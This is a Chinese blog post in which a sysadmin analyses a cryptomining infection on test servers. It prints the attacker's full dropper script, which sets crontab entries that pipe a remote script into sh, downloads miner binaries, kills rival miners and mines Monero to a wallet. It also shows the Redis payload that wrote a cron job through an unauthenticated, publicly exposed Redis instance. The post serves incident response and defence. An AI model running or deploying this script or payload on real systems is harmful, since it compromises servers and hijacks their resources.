首页 > 代码库 > 利用redis漏洞远程添加计划任务挖取比特币

利用redis漏洞远程添加计划任务挖取比特币

   周日看到值班人员在群里发几台服务器CPU负载高告警。没在意。周一下午查看nagios 发现服务器的负载依旧很高。赶紧查看进程

技术分享

技术分享

看到第二张图的时候。想必大家明白了。又是挖矿软件。记得之前曝光过是一款叫minerd的挖矿程序。这玩意。 结束掉进程肯定是不够的。必然有相应的守护进程或者计划任务。查看了crontab。果然,


技术分享

可恶的域名,居然是haveabitchin(google了下。这个域名可谓恶行累累,网上的中了挖矿软件的大部分都是从这个域名分发出来的),下载了他的脚本下来,知己知彼百战不殆。

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0218 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0218 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.222" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.222
fi
chmod +x /tmp/ddg.222 && /tmp/ddg.222
CleanTail()
{
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk ‘{print $2}‘|xargs kill -9
}
DoYam()
{
if [ ! -f "/tmp/AnXqV.yam" ]; then
curl -fsSL http://www.haveabitchin.com/yam -o /tmp/AnXqV.yam
fi
chmod +x /tmp/AnXqV.yam
/tmp/AnXqV.yam -c x -M stratum+tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:x@xmr.crypto-pool.fr:443/xmr
}
DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
}
DoMinerNoAes()
{
if [ ! -f "/tmp/AnXqV.noaes" ]; then
curl -fsSL http://www.haveabitchin.com/minerd.noaes -o /tmp/AnXqV.noaes
fi
chmod +x /tmp/AnXqV.noaes
/tmp/AnXqV.noaes -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "AnXqV" || DoMiner
ps auxf|grep -v grep|grep "AnXqV" || DoYam
ps auxf|grep -v grep|grep "AnXqV" || DoMinerNoAes

又查看仔细查看了系统进程。 再次揪出了他的守护进程

技术分享

还原案发现场

由于这几台机器都是测试环境。还没正式上线。查看进程的时候发现redis居然在公网地址有监听。而且没有密码。之前看过可可以通过redis修改数据存储目录和文件名上传公钥到服务器。但是路由器上是绝对禁止非公司IP访问SSH的。那么程序是如何植入到服务器的呢?查看redis 的AOF文件。终于找到了破绽

技术分享

看到执行了这个操作

set 1 “\n\n*/1 * * * * curl -L http://www.haveabitchin.com/pm.sh?v21.redis.lan?6389 | sh\n\n”
del 1

上图中url的脚本内容我就不贴了,和上一个脚本类似


之前的漏洞是写入公钥到服务器的.ssh目录。现在黑客变懒了,我也可以不登录服务器。利用计划任务,让服务器自动挖矿

具体实现是:

黑客将redis的数据存储目录放到了/var/spool/cron.文件名为root。 当crontab运行后。又将新的计划任务添加到了服务器上。然后删除了key。


本文出自 “鱼鱼123的linux笔记” 博客,请务必保留此出处http://itanony.blog.51cto.com/4791506/1900251

利用redis漏洞远程添加计划任务挖取比特币